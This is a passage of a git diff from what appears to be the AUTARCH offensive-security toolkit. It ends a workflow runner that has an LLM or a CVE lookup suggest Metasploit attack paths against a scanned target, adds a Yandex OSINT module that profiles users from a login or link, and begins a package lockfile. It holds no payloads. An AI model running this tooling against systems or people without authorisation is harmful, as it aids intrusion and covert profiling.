!= 'n': + print(f"\n{Colors.CYAN}{Colors.BOLD} Step 3/4: Exploit Suggestion{Colors.RESET}") + exploits = self._suggest_exploits(services, correlations) + state['exploits'] = exploits + state['current_step'] = 4 + self._save_state(state, state_file) + + if current_step <= 4: + print(f"\n{Colors.CYAN}{Colors.BOLD} Step 4/4: Report Generation{Colors.RESET}") + self._generate_workflow_report(state) + state['current_step'] = 5 + self._save_state(state, state_file) + + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + # ========================================================================= + # HELPERS + # ========================================================================= + + def _suggest_exploits(self, services, correlations): + """Try LLM-based exploit suggestion, fallback to CVE-MSF lookup.""" + exploits = [] + + # Collect all CVEs + all_cves = [] + for corr in correlations: + for cve in corr.get('cves', []): + all_cves.append(cve) + + if not all_cves: + self.print_status("No CVEs to suggest exploits for.", "info") + return [] + + # Try LLM + try: + from core.llm import get_llm + llm = get_llm() + if llm and llm.is_loaded(): + self.print_status("Using LLM for exploit suggestions...", "info") + + svc_text = "\n".join( + f"- {s['service']}:{s.get('version', '?')} on port {s['port']}" + for s in services + ) + cve_text = "\n".join( + f"- {c.get('id', '?')} (CVSS {c.get('cvss', '?')}): {c.get('description', '')[:100]}" + for c in all_cves[:20] + ) + + prompt = f"""Given these services and vulnerabilities, suggest the top 5 attack paths. + +Services: +{svc_text} + +CVEs: +{cve_text} + +For each suggestion provide: rank, Metasploit module path (if known), target service, CVE, and reasoning. +Format each as: N. MODULE | TARGET | CVE | REASONING""" + + response = llm.generate(prompt) + if response: + # Parse suggestions + for line in response.split('\n'): + line = line.strip() + match = re.match(r'\d+\.\s*(.+?)\s*\|\s*(.+?)\s*\|\s*(.+?)\s*\|\s*(.+)', line) + if match: + exploits.append({ + 'module': match.group(1).strip(), + 'target': match.group(2).strip(), + 'cve': match.group(3).strip(), + 'reasoning': match.group(4).strip() + }) + + if exploits: + self.print_status(f"LLM suggested {len(exploits)} attack paths", "success") + for i, exp in enumerate(exploits, 1): + print(f" {Colors.RED}{i}.{Colors.RESET} {exp['module']} → {exp['target']} ({exp['cve']})") + return exploits + except Exception: + pass + + # Fallback: CVE-to-MSF mapping + self.print_status("LLM unavailable, using CVE-to-MSF module lookup...", "warning") + try: + from core.msf_modules import search_modules + for cve in all_cves[:30]: + cve_id = cve.get('id', '') + if cve_id: + matches = search_modules(cve_id) + for mod_name, mod_info in matches: + exploits.append({ + 'module': mod_name, + 'target': mod_info.get('description', '')[:60], + 'cve': cve_id, + 'reasoning': f"Direct CVE match (CVSS {cve.get('cvss', '?')})" + }) + except Exception as e: + self.print_status(f"MSF module lookup failed: {e}", "warning") + + if exploits: + self.print_status(f"Found {len(exploits)} exploit matches", "success") + for i, exp in enumerate(exploits[:10], 1): + print(f" {Colors.RED}{i}.{Colors.RESET} {exp['module']} ({exp['cve']})") + else: + self.print_status("No exploit matches found.", "info") + + return exploits + + def _generate_workflow_report(self, state): + """Generate HTML report from workflow state.""" + target = state.get('target', 'unknown') + + # Build network_data from services + network_data = None + services = state.get('services', []) + if services: + network_data = [{ + 'ip': target, + 'hostname': target, + 'os_guess': '-', + 'ports': services + }] + + vuln_data = state.get('correlations') or None + exploit_data = state.get('exploits') or None + + try: + from core.report_generator import get_report_generator + rg = get_report_generator() + report_path = rg.generate_pentest_report( + target=target, + network_data=network_data, + vuln_data=vuln_data, + exploit_data=exploit_data + ) + self.print_status(f"Report saved to {report_path}", "success") + state['report'] = report_path + except Exception as e: + self.print_status(f"Report generation failed: {e}", "error") + + def _save_state(self, state, state_file): + """Save workflow state to JSON.""" + try: + # Make serializable - convert CVE objects if needed + serializable = json.loads(json.dumps(state, default=str)) + with open(state_file, 'w') as f: + json.dump(serializable, f, indent=2) + except Exception: + pass + + # ========================================================================= + # MAIN LOOP + # ========================================================================= + + def run(self): + """Main menu loop.""" + while True: + self.show_menu() + + try: + choice = input(f"{Colors.WHITE} Select: {Colors.RESET}").strip() + + if choice == "0": + break + elif choice == "1": + target = input(f"\n{Colors.WHITE} Target IP/hostname: {Colors.RESET}").strip() + if target: + self.run_workflow(target) + elif choice == "2": + target = input(f"\n{Colors.WHITE} Target IP/hostname: {Colors.RESET}").strip() + if target: + self.quick_scan(target) + elif choice == "3": + self.resume_workflow() + + except (EOFError, KeyboardInterrupt): + print() + break + + +def run(): + """Module entry point.""" + runner = WorkflowRunner() + runner.run() + + +if __name__ == "__main__": + run() diff --git a/modules/yandex_osint.py b/modules/yandex_osint.py new file mode 100644 index 0000000..7211d6b --- /dev/null +++ b/modules/yandex_osint.py @@ -0,0 +1,326 @@ +""" +AUTARCH Yandex OSINT Module +Gather information about Yandex users from their login, email, or public links +""" + +import json +import os +import sys +import webbrowser +from pathlib import Path + +# Add parent directory to path for imports +sys.path.insert(0, str(Path(__file__).parent.parent)) + +from core.banner import Colors + +# Module metadata +NAME = "Yandex OSINT" +DESCRIPTION = "Gather intel from Yandex user accounts" +AUTHOR = "darkHal Security Group" +VERSION = "1.0" +CATEGORY = "osint" + +# Try to import requests +try: + import requests +except ImportError: + requests = None + + +class YandexParser: + """Parser for Yandex user information.""" + + def __init__(self): + self.session = None + self.timeout = 10 + self.user_agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/120.0.0.0 Safari/537.36" + self._init_session() + + def _init_session(self): + """Initialize requests session.""" + if requests is None: + return + + self.session = requests.Session() + adapter = requests.adapters.HTTPAdapter(max_retries=2) + self.session.mount('https://', adapter) + self.session.mount('http://', adapter) + self.session.headers.update({'User-Agent': self.user_agent}) + + def lookup_by_login(self, login: str) -> dict: + """Lookup Yandex user by login/email. + + Args: + login: Yandex login or email. + + Returns: + Dict with user information. + """ + # Strip domain from email + login = login.split('@')[0].strip() + + if not login: + return {'error': 'Invalid login'} + + result = { + 'login': login, + 'email': f"{login}@yandex.ru", + 'display_name': None, + 'public_id': None, + 'avatar_url': None, + 'profiles': {}, + } + + print(f"{Colors.CYAN}[*] Looking up Yandex user: {login}{Colors.RESET}") + + # Query Yandex Collections API + try: + url = f"https://yandex.ru/collections/api/users/{login}/" + response = self.session.get(url, timeout=self.timeout) + + if response.status_code == 200: + data = response.json() + + if data.get('title') == "404 Not Found": + result['error'] = 'User not found' + return result + + result['display_name'] = data.get('display_name') + result['public_id'] = data.get('public_id') + + avatar_id = data.get('default_avatar_id') + if avatar_id: + result['avatar_url'] = f"https://avatars.mds.yandex.net/get-yapic/{avatar_id}/islands-300" + + # Build profile URLs + pub_id = result['public_id'] + if pub_id: + result['profiles'] = { + 'reviews': f"https://reviews.yandex.ru/user/{pub_id}", + 'market': f"https://market.yandex.ru/user/{pub_id}/reviews", + 'dzen': f"https://zen.yandex.ru/user/{pub_id}", + 'qa': f"https://yandex.ru/q/profile/{pub_id}/", + } + + result['profiles']['music'] = f"https://music.yandex.ru/users/{login}/tracks" + result['profiles']['disk'] = f"https://disk.yandex.ru/client/disk" + + print(f"{Colors.GREEN}[+] User found!{Colors.RESET}") + + elif response.status_code == 404: + result['error'] = 'User not found' + else: + result['error'] = f'API error: {response.status_code}' + + except requests.exceptions.RequestException as e: + result['error'] = f'Network error: {str(e)}' + except json.JSONDecodeError: + result['error'] = 'Invalid API response' + except Exception as e: + result['error'] = f'Error: {str(e)}' + + return result + + def lookup_by_disk_link(self, url: str) -> dict: + """Extract user info from Yandex.Disk public link. + + Args: + url: Public Yandex.Disk link. + + Returns: + Dict with user information. + """ + print(f"{Colors.CYAN}[*] Extracting user from Yandex.Disk link...{Colors.RESET}") + + try: + response = self.session.get(url, timeout=self.timeout) + + if response.status_code != 200: + return {'error': 'Failed to fetch disk link'} + + # Extract displayName from page + try: + login = response.text.split('displayName":"')[1].split('"')[0] + except (IndexError, AttributeError): + return {'error': 'Could not extract user from link'} + + if not login: + return {'error': 'No user found in link'} + + print(f"{Colors.GREEN}[+] Extracted login: {login}{Colors.RESET}") + + return self.lookup_by_login(login) + + except Exception as e: + return {'error': f'Error: {str(e)}'} + + def lookup_by_public_id(self, public_id: str) -> dict: + """Lookup user by Yandex public ID. + + Args: + public_id: 26-character Yandex user identifier. + + Returns: + Dict with user information. + """ + if len(public_id) != 26: + return {'error': 'Invalid public ID (must be 26 characters)'} + + result = { + 'public_id': public_id, + 'profiles': { + 'reviews': f"https://reviews.yandex.ru/user/{public_id}", + 'market': f"https://market.yandex.ru/user/{public_id}/reviews", + 'dzen': f"https://zen.yandex.ru/user/{public_id}", + 'qa': f"https://yandex.ru/q/profile/{public_id}/", + } + } + + print(f"{Colors.CYAN}[*] Looking up public ID: {public_id}{Colors.RESET}") + + # Try to get more info from collections API + try: + url = f"https://yandex.ru/collections/api/users/{public_id}/" + response = self.session.get(url, timeout=self.timeout) + + if response.status_code == 200: + data = response.json() + if data.get('title') != "404 Not Found": + result['display_name'] = data.get('display_name') + avatar_id = data.get('default_avatar_id') + if avatar_id: + result['avatar_url'] = f"https://avatars.mds.yandex.net/get-yapic/{avatar_id}/islands-300" + + except Exception: + pass + + print(f"{Colors.GREEN}[+] Profile URLs generated!{Colors.RESET}") + return result + + +def display_result(result: dict, open_browser: bool = False): + """Display lookup result nicely. + + Args: + result: Lookup result dict. + open_browser: Whether to open URLs in browser. + """ + if 'error' in result: + print(f"{Colors.RED}[X] {result['error']}{Colors.RESET}") + return + + print(f"\n{Colors.CYAN}{'=' * 55}{Colors.RESET}") + print(f"{Colors.GREEN}{Colors.BOLD} YANDEX USER PROFILE{Colors.RESET}") + print(f"{Colors.CYAN}{'=' * 55}{Colors.RESET}") + + if result.get('display_name'): + print(f" {Colors.GREEN}Name:{Colors.RESET} {result['display_name']}") + if result.get('login'): + print(f" {Colors.GREEN}Login:{Colors.RESET} {result['login']}") + if result.get('email'): + print(f" {Colors.GREEN}Email:{Colors.RESET} {result['email']}") + if result.get('public_id'): + print(f" {Colors.GREEN}Public ID:{Colors.RESET} {result['public_id']}") + + if result.get('avatar_url'): + print(f"\n {Colors.GREEN}Avatar:{Colors.RESET}") + print(f" {Colors.DIM}{result['avatar_url']}{Colors.RESET}") + + profiles = result.get('profiles', {}) + if profiles: + print(f"\n {Colors.GREEN}Yandex Services:{Colors.RESET}") + for name, url in profiles.items(): + print(f" {Colors.CYAN}{name.title()}:{Colors.RESET} {url}") + if open_browser: + try: + webbrowser.open(url) + except Exception: + pass + + print() + + +def display_menu(): + """Display the Yandex OSINT module menu.""" + print(f""" +{Colors.CYAN} Yandex OSINT{Colors.RESET} +{Colors.DIM} Gather intelligence from Yandex user accounts{Colors.RESET} +{Colors.DIM}{'─' * 55}{Colors.RESET} + + {Colors.GREEN}[1]{Colors.RESET} Lookup by Login/Email + {Colors.GREEN}[2]{Colors.RESET} Lookup by Yandex.Disk Public Link + {Colors.GREEN}[3]{Colors.RESET} Lookup by Public ID (26-char hash) + + {Colors.RED}[0]{Colors.RESET} Back to OSINT Menu +""") + + +def run(): + """Main entry point for the module.""" + if requests is None: + print(f"{Colors.RED}[X] This module requires 'requests' library{Colors.RESET}") + print(f"{Colors.DIM} Install with: pip install requests{Colors.RESET}") + input(f"\n{Colors.DIM}Press Enter to continue...{Colors.RESET}") + return + + parser = YandexParser() + + while True: + display_menu() + choice = input(f"{Colors.GREEN}Select option: {Colors.RESET}").strip() + + if choice == '0': + break + + elif choice == '1': + print(f"\n{Colors.CYAN}Enter Yandex login or email:{Colors.RESET}") + print(f"{Colors.DIM}Example: username or username@yandex.ru{Colors.RESET}") + login = input(f"\n{Colors.GREEN}Login: {Colors.RESET}").strip() + + if not login: + continue + + result = parser.lookup_by_login(login) + + open_links = input(f"\n{Colors.YELLOW}Open profile links in browser? (y/n): {Colors.RESET}").strip().lower() + display_result(result, open_browser=(open_links == 'y')) + + input(f"{Colors.DIM}Press Enter to continue...{Colors.RESET}") + + elif choice == '2': + print(f"\n{Colors.CYAN}Enter Yandex.Disk public link:{Colors.RESET}") + print(f"{Colors.DIM}Example: https://yadi.sk/d/xxxxx{Colors.RESET}") + url = input(f"\n{Colors.GREEN}URL: {Colors.RESET}").strip() + + if not url: + continue + + result = parser.lookup_by_disk_link(url) + + open_links = input(f"\n{Colors.YELLOW}Open profile links in browser? (y/n): {Colors.RESET}").strip().lower() + display_result(result, open_browser=(open_links == 'y')) + + input(f"{Colors.DIM}Press Enter to continue...{Colors.RESET}") + + elif choice == '3': + print(f"\n{Colors.CYAN}Enter Yandex public ID (26 characters):{Colors.RESET}") + print(f"{Colors.DIM}Example: tr6r2c8ea4tvdt3xmpy5atuwg0{Colors.RESET}") + pub_id = input(f"\n{Colors.GREEN}Public ID: {Colors.RESET}").strip() + + if not pub_id: + continue + + result = parser.lookup_by_public_id(pub_id) + + open_links = input(f"\n{Colors.YELLOW}Open profile links in browser? (y/n): {Colors.RESET}").strip().lower() + display_result(result, open_browser=(open_links == 'y')) + + input(f"{Colors.DIM}Press Enter to continue...{Colors.RESET}") + + else: + print(f"{Colors.RED}[!] Invalid option{Colors.RESET}") + + +if __name__ == "__main__": + run() diff --git a/package-lock.json b/package-lock.json new file mode 100644 index 0000000..2c73fa0 --- /dev/null +++ b/package-lock.json @@ -0,0 +1,605 @@ +{ + "name": "autarch-hw-libs", + "version": "1.0.0", + "lockfileVersion": 3, + "requires": true, + "packages": { + "": { + "name": "autarch-hw-libs", + "version": "1.0.0", + "dependencies": { + "@yume-chan/adb": "^2.5.1", + "@yume-chan/adb-daemon-webusb": "^2.3.2", + "@yume-chan/stream-extra": "^2.1.0", + "android-fastboot": "^1.1.3", + "esptool-js": "^0.5.7" + }, + "devDependencies": { + "esbuild": "^0.24.0" + } + }, + "node_modules/@esbuild/aix-ppc64": { + "version": "0.24.2", + "resolved": "https://registry.npmjs.org/@esbuild/aix-ppc64/-/aix-ppc64-0.24.2.tgz", + "integrity": "sha512-thpVCb/rhxE/BnMLQ7GReQLLN8q9qbHmI55F4489/ByVg2aQaQ6kbcLb6FHkocZzQhxc4gx0sCk0tJkKBFzDhA==", + "cpu": [ + "ppc64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "aix" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/android-arm": { + "version": "0.24.2", + "resolved": "https://registry.npmjs.org/@esbuild/android-arm/-/android-arm-0.24.2.tgz", + "integrity": "sha512-tmwl4hJkCfNHwFB3nBa8z1Uy3ypZpxqxfTQOcHX+xRByyYgunVbZ9MzUUfb0RxaHIMnbHagwAxuTL+tnNM+1/Q==", + "cpu": [ + "arm" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/android-arm64": { + "version": "0.24.2", + "resolved": "https://registry.npmjs.org/@esbuild/android-arm64/-/android-arm64-0.24.2.tgz", + "integrity": "sha512-cNLgeqCqV8WxfcTIOeL4OAtSmL8JjcN6m09XIgro1Wi7cF4t/THaWEa7eL5CMoMBdjoHOTh/vwTO/o2TRXIyzg==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/android-x64": { + "version": "0.24.2", + "resolved": "https://registry.npmjs.org/@esbuild/android-x64/-/android-x64-0.24.2.tgz", + "integrity": "sha512-B6Q0YQDqMx9D7rvIcsXfmJfvUYLoP722bgfBlO5cGvNVb5V/+Y7nhBE3mHV9OpxBf4eAS2S68KZztiPaWq4XYw==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/darwin-arm64": { + "version": "0.24.2", + "resolved": "https://registry.npmjs.org/@esbuild/darwin-arm64/-/darwin-arm64-0.24.2.tgz", + "integrity": "sha512-kj3AnYWc+CekmZnS5IPu9D+HWtUI49hbnyqk0FLEJDbzCIQt7hg7ucF1SQAilhtYpIujfaHr6O0UHlzzSPdOeA==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/darwin-x64": { + "version": "0.24.2", + "resolved": "https://registry.npmjs.org/@esbuild/darwin-x64/-/darwin-x64-0.24.2.tgz", + "integrity": "sha512-WeSrmwwHaPkNR5H3yYfowhZcbriGqooyu3zI/3GGpF8AyUdsrrP0X6KumITGA9WOyiJavnGZUwPGvxvwfWPHIA==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/freebsd-arm64": { + "version": "0.24.2", + "resolved": "https://registry.npmjs.org/@esbuild/freebsd-arm64/-/freebsd-arm64-0.24.2.tgz", + "integrity": "sha512-UN8HXjtJ0k/Mj6a9+5u6+2eZ2ERD7Edt1Q9IZiB5UZAIdPnVKDoG7mdTVGhHJIeEml60JteamR3qhsr1r8gXvg==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "freebsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/freebsd-x64": { + "version": "0.24.2", + "resolved": "https://registry.npmjs.org/@esbuild/freebsd-x64/-/freebsd-x64-0.24.2.tgz", + "integrity": "sha512-TvW7wE/89PYW+IevEJXZ5sF6gJRDY/14hyIGFXdIucxCsbRmLUcjseQu1SyTko+2idmCw94TgyaEZi9HUSOe3Q==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "freebsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-arm": { + "version": "0.24.2", + "resolved": "https://registry.npmjs.org/@esbuild/linux-arm/-/linux-arm-0.24.2.tgz", + "integrity": "sha512-n0WRM/gWIdU29J57hJyUdIsk0WarGd6To0s+Y+LwvlC55wt+GT/OgkwoXCXvIue1i1sSNWblHEig00GBWiJgfA==", + "cpu": [ + "arm" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-arm64": { + "version": "0.24.2", + "resolved": "https://registry.npmjs.org/@esbuild/linux-arm64/-/linux-arm64-0.24.2.tgz", + "integrity": "sha512-7HnAD6074BW43YvvUmE/35Id9/NB7BeX5EoNkK9obndmZBUk8xmJJeU7DwmUeN7tkysslb2eSl6CTrYz6oEMQg==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-ia32": { + "version": "0.24.2", + "resolved": "https://registry.npmjs.org/@esbuild/linux-ia32/-/linux-ia32-0.24.2.tgz", + "integrity": "sha512-sfv0tGPQhcZOgTKO3oBE9xpHuUqguHvSo4jl+wjnKwFpapx+vUDcawbwPNuBIAYdRAvIDBfZVvXprIj3HA+Ugw==", + "cpu": [ + "ia32" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-loong64": { + "version": "0.24.2", + "resolved": "https://registry.npmjs.org/@esbuild/linux-loong64/-/linux-loong64-0.24.2.tgz", + "integrity": "sha512-CN9AZr8kEndGooS35ntToZLTQLHEjtVB5n7dl8ZcTZMonJ7CCfStrYhrzF97eAecqVbVJ7APOEe18RPI4KLhwQ==", + "cpu": [ + "loong64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-mips64el": { + "version": "0.24.2", + "resolved": "https://registry.npmjs.org/@esbuild/linux-mips64el/-/linux-mips64el-0.24.2.tgz", + "integrity": "sha512-iMkk7qr/wl3exJATwkISxI7kTcmHKE+BlymIAbHO8xanq/TjHaaVThFF6ipWzPHryoFsesNQJPE/3wFJw4+huw==", + "cpu": [ + "mips64el" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-ppc64": { + "version": "0.24.2", + "resolved": "https://registry.npmjs.org/@esbuild/linux-ppc64/-/linux-ppc64-0.24.2.tgz", + "integrity": "sha512-shsVrgCZ57Vr2L8mm39kO5PPIb+843FStGt7sGGoqiiWYconSxwTiuswC1VJZLCjNiMLAMh34jg4VSEQb+iEbw==", + "cpu": [ + "ppc64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-riscv64": { + "version": "0.24.2", + "resolved": "https://registry.npmjs.org/@esbuild/linux-riscv64/-/linux-riscv64-0.24.2.tgz", + "integrity": "sha512-4eSFWnU9Hhd68fW16GD0TINewo1L6dRrB+oLNNbYyMUAeOD2yCK5KXGK1GH4qD/kT+bTEXjsyTCiJGHPZ3eM9Q==", + "cpu": [ + "riscv64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-s390x": { + "version": "0.24.2", + "resolved": "https://registry.npmjs.org/@esbuild/linux-s390x/-/linux-s390x-0.24.2.tgz", + "integrity": "sha512-S0Bh0A53b0YHL2XEXC20bHLuGMOhFDO6GN4b3YjRLK//Ep3ql3erpNcPlEFed93hsQAjAQDNsvcK+hV90FubSw==", + "cpu": [ + "s390x" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-x64": { + "version": "0.24.2", + "resolved": "https://registry.npmjs.org/@esbuild/linux-x64/-/linux-x64-0.24.2.tgz", + "integrity": "sha512-8Qi4nQcCTbLnK9WoMjdC9NiTG6/E38RNICU6sUNqK0QFxCYgoARqVqxdFmWkdonVsvGqWhmm7MO0jyTqLqwj0Q==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/netbsd-arm64": { + "version": "0.24.2", + "resolved": "https://registry.npmjs.org/@esbuild/netbsd-arm64/-/netbsd-arm64-0.24.2.tgz", + "integrity": "sha512-wuLK/VztRRpMt9zyHSazyCVdCXlpHkKm34WUyinD2lzK07FAHTq0KQvZZlXikNWkDGoT6x3TD51jKQ7gMVpopw==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "netbsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/netbsd-x64": { + "version": "0.24.2", + "resolved": "https://registry.npmjs.org/@esbuild/netbsd-x64/-/netbsd-x64-0.24.2.tgz", + "integrity": "sha512-VefFaQUc4FMmJuAxmIHgUmfNiLXY438XrL4GDNV1Y1H/RW3qow68xTwjZKfj/+Plp9NANmzbH5R40Meudu8mmw==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "netbsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/openbsd-arm64": { + "version": "0.24.2", + "resolved": "https://registry.npmjs.org/@esbuild/openbsd-arm64/-/openbsd-arm64-0.24.2.tgz", + "integrity": "sha512-YQbi46SBct6iKnszhSvdluqDmxCJA+Pu280Av9WICNwQmMxV7nLRHZfjQzwbPs3jeWnuAhE9Jy0NrnJ12Oz+0A==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "openbsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/openbsd-x64": { + "version": "0.24.2", + "resolved": "https://registry.npmjs.org/@esbuild/openbsd-x64/-/openbsd-x64-0.24.2.tgz", + "integrity": "sha512-+iDS6zpNM6EnJyWv0bMGLWSWeXGN/HTaF/LXHXHwejGsVi+ooqDfMCCTerNFxEkM3wYVcExkeGXNqshc9iMaOA==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "openbsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/sunos-x64": { + "version": "0.24.2", + "resolved": "https://registry.npmjs.org/@esbuild/sunos-x64/-/sunos-x64-0.24.2.tgz", + "integrity": "sha512-hTdsW27jcktEvpwNHJU4ZwWFGkz2zRJUz8pvddmXPtXDzVKTTINmlmga3ZzwcuMpUvLw7JkLy9QLKyGpD2Yxig==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "sunos" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/win32-arm64": { + "version": "0.24.2", + "resolved": "https://registry.npmjs.org/@esbuild/win32-arm64/-/win32-arm64-0.24.2.tgz", + "integrity": "sha512-LihEQ2BBKVFLOC9ZItT9iFprsE9tqjDjnbulhHoFxYQtQfai7qfluVODIYxt1PgdoyQkz23+01rzwNwYfutxUQ==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/win32-ia32": { + "version": "0.24.2", + "resolved": "https://registry.npmjs.org/@esbuild/win32-ia32/-/win32-ia32-0.24.2.tgz", + "integrity": "sha512-q+iGUwfs8tncmFC9pcnD5IvRHAzmbwQ3GPS5/ceCyHdjXubwQWI12MKWSNSMYLJMq23/IUCvJMS76PDqXe1fxA==", + "cpu": [ + "ia32" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/win32-x64": { + "version": "0.24.2", + "resolved": "https://registry.npmjs.org/@esbuild/win32-x64/-/win32-x64-0.24.2.tgz", + "integrity": "sha512-7VTgWzgMGvup6aSqDPLiW5zHaxYJGTO4OokMjIlrCtf+VpEL+cXKtCvg723iguPYI5oaUNdS+/V7OU2gvXVWEg==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@types/w3c-web-usb": { + "version": "1.0.13", + "resolved": "https://registry.npmjs.org/@types/w3c-web-usb/-/w3c-web-usb-1.0.13.tgz", + "integrity": "sha512-N2nSl3Xsx8mRHZBvMSdNGtzMyeleTvtlEw+ujujgXalPqOjIA6UtrqcB6OzyUjkTbDm3J7P1RNK1lgoO7jxtsw==", + "license": "MIT" + }, + "node_modules/@yume-chan/adb": { + "version": "2.5.1", + "resolved": "https://registry.npmjs.org/@yume-chan/adb/-/adb-2.5.1.tgz", + "integrity": "sha512-Nm9ZA0cOxfINE+BlZ7whgqjtoLpaZg1xcV8e0C7YbpG/KOHnQGseGTwbfqJFR6xdqbRvvrNL4jIGGpxvn31ykw==", + "license": "MIT", + "dependencies": { + "@yume-chan/async": "^4.1.3", + "@yume-chan/event": "^2.0.0", + "@yume-chan/no-data-view": "^2.0.0", + "@yume-chan/stream-extra": "^2.1.0", + "@yume-chan/struct": "^2.3.2" + } + }, + "node_modules/@yume-chan/adb-daemon-webusb": { + "version": "2.3.2", + "resolved": "https://registry.npmjs.org/@yume-chan/adb-daemon-webusb/-/adb-daemon-webusb-2.3.2.tgz", + "integrity": "sha512-5ANaqsRJWFc5kKMnGALjYCrSXo5eC4u51dvYppvuBCLVjv12n7he2TPy5yEZ3XtlToRFS0kWCQC0XS8M60lRSA==", + "license": "MIT", + "dependencies": { + "@types/w3c-web-usb": "^1.0.12", + "@yume-chan/adb": "^2.3.1", + "@yume-chan/event": "^2.0.0", + "@yume-chan/stream-extra": "^2.1.0", + "@yume-chan/struct": "^2.3.2" + } + }, + "node_modules/@yume-chan/async": { + "version": "4.1.3", + "resolved": "https://registry.npmjs.org/@yume-chan/async/-/async-4.1.3.tgz", + "integrity": "sha512-0vzhNJMkWUPyjKzUK4rqHEeCU6YQtF78RsB1kFRB6Y2BLupmEQNxcSb0mjKabPL9jZpCCiLa5KL8oTOJClUVaw==", + "license": "MIT" + }, + "node_modules/@yume-chan/event": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/@yume-chan/event/-/event-2.0.0.tgz", + "integrity": "sha512-z56MDOcX1QlgLUCuA6th3r10negVb7A3gzY//TwSC9ZOvzuRlrAqXcxZf1T3hHfNMk/NFO9RIgQgegXYSfaqLw==", + "license": "MIT", + "dependencies": { + "@yume-chan/async": "^4.0.2" + } + }, + "node_modules/@yume-chan/no-data-view": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/@yume-chan/no-data-view/-/no-data-view-2.0.0.tgz", + "integrity": "sha512-0GRJrrt6wtZlbiE92jocHOnaAvjQ+Y7xwwhwOPqLkwf90Kj1JIHJ5Zh4wJVQSQIkzfRSOpM+jeEQdC2K15snlA==", + "license": "MIT" + }, + "node_modules/@yume-chan/stream-extra": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/@yume-chan/stream-extra/-/stream-extra-2.1.0.tgz", + "integrity": "sha512-Sq1mDCLTIOu+TbI3VmFhcKL5hi+qZkDA3S+JezZb/AJm4ESC3hB7+LgQIQs3QEK/ZeRwMg37w4IOYHSh30R7BQ==", + "license": "MIT", + "dependencies": { + "@yume-chan/async": "^4.1.3", + "@yume-chan/struct": "^2.0.1" + } + }, + "node_modules/@yume-chan/struct": { + "version": "2.3.2", + "resolved": "https://registry.npmjs.org/@yume-chan/struct/-/struct-2.3.2.tgz", + "integrity": "sha512-afoCnSKV+5HRK7e4innVd9YTYDyNWdjA1CVQa1j8rWYnmr7HGZfdkHMQr+AESLk6GxWFMzOIPQIG6nYOTGMFIw==", + "license": "MIT", + "dependencies": { + "@yume-chan/async": "^4.1.3", + "@yume-chan/no-data-view": 